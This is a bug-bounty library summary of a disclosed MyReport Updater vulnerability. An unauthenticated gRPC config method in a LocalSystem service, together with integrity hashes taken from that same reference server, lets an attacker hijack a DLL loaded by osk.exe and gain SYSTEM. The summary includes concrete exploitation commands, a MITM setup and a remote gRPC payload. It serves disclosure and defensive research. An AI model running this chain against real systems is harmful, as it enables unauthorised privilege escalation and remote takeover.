# MyReport Updater: From gRPC to SYSTEM

MyReport Updater's LocalSystem gRPC service accepts unauthenticated UpdateConfigReferent calls and trusts MD5/size from a configurable reference server, enabling arbitrary SYSTEM file write and DLL hijack RCE.

- Payout: Research
- Severity: high
- Program: MyReport Updater
- Found by (vendor credit): Lucas Laise of Quarkslab
- Write-up by: Lucas Laise
- Disclosed: 2026-10-12
- CVE: CVE-2026-110632, CVE-2026-110633
- Write-up quality: 8/10
- Original: http://blog.quarkslab.com/myreport-updater-from-grpc-to-system.html
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-quarkslab-com-myreport-updater-from-grpc-to-system-html
- Tags: area:os domain:desktop impact:privesc impact:rce kind:research platform:research sev:high tech:grpc technique:chained technique:source-review vuln:auth-bypass vuln:privilege-escalation vuln:rce

**Target:** Windows LocalSystem gRPC update service (TCP 9095) and updater manager
**Root cause:** The LocalSystem service exposes UpdateConfigReferent on all interfaces without authentication, letting any caller repoint the reference server/port/mode; integrity checks rely on MD5 and size supplied by that attacker-controlled reference server, so modified module archives pass validation and are written to an arbitrary directory.
**Steps:**
1. Recon: Wireshark shows UpdaterManager.exe talks gRPC to TCP 9095 on MyReportUpdaterService (LocalSystem); UpdaterService.exe makes TLS to updater.myreport.fr.
2. Download module archives via `updatermanager.exe add --products administrator --version 6.0.0 --serverPlatform x64`.
3. Modify Administrator.6.0.0.AnyCPU.zip, adding `HID.dll` at archive root.
4. Stand up a gRPC/TLS MITM server impersonating updater.myreport.fr (cert with CN=*.myreport.fr), point reference server's /etc/hosts at it, and return the modified archive's MD5 and size.
5. Compute expected values with get_hash_and_size.ps1: hash `gIYMdbsrrZZx+ntRYhDu2g==`, size `\x9e\xa3\x9b\x2b`.
6. Install to hijack path: `UpdaterManager.exe add --installLocation "C:\Program Files\Common Files\microsoft shared\ink" --products Administrator --version 6.0.0 --serverPlatform x64 --NoInstallIIS --force`.
7. Trigger load: Ctrl+Alt+Delete secure desktop -> On-Screen Keyboard (osk.exe) loads HID.dll as SYSTEM.
8. Remote variant: `python3 grpcmanual.py --host 8.8.8.8 --port 443 --mode 1 --target 172.16.200.134` sends unauthenticated UpdateConfigReferent (payload `0a100a090a07382e382e382e3810bb031801`).
**How found:** During an assumed-breach assessment on a Citrix server, looked for third-party apps where a user-level process talks to a privileged service. Noticed UpdaterManager communicating over gRPC with a LocalSystem service that downloads and writes modules, then tested whether the reference server and integrity values could be attacker-controlled.
**Exploitation:** Attacker with standard user (or network access to TCP 9095) repoints the reference server to attacker infrastructure, serves a modified module ZIP whose MD5/size are echoed back by a MITM proxy of updater.myreport.fr, and asks the LocalSystem service to install it into a privileged DLL-search directory. A DLL that checks for WinLocalSystemSid and spawns cmd.exe is loaded by osk.exe from the secure desktop, yielding NT AUTHORITY\SYSTEM. The unauthenticated gRPC config call makes the same chain remote.
**Escalation:** LPE chained to RCE by discovering the unauthenticated UpdateConfigReferent gRPC method, removing the need for an internal relay and bypassing the firewall restriction on outbound 9095.
**Insight:** When a privileged updater validates downloads using hashes fetched from the same configurable server, the integrity check is circular: control the reference server and you control the expected hash. Also probe privileged local gRPC services for unauthenticated config-mutating methods (UpdateConfigReferent) listening on all interfaces.

## Proof of concept (copied exactly from the original report)

**UpdaterManager install command writing DLL to ink dir**

```
UpdaterManager.exe add --installLocation "C:\Program Files\Common Files\microsoft shared\ink" --products Administrator --version 6.0.0 --serverPlatform x64 --NoInstallIIS --force
```

**Unauthenticated gRPC UpdateConfigReferent remote config change**

```
$ python3 grpcmanual.py --host 8.8.8.8 --port 443 --mode 1 --target 172.16.200.134
[+] Configuration:
 - Target: 172.16.200.134:9095
 - Host: 8.8.8.8
 - Port: 443
 - Mode: Managed
[+] Message (18 bytes): 0a100a090a07382e382e382e3810bb031801
```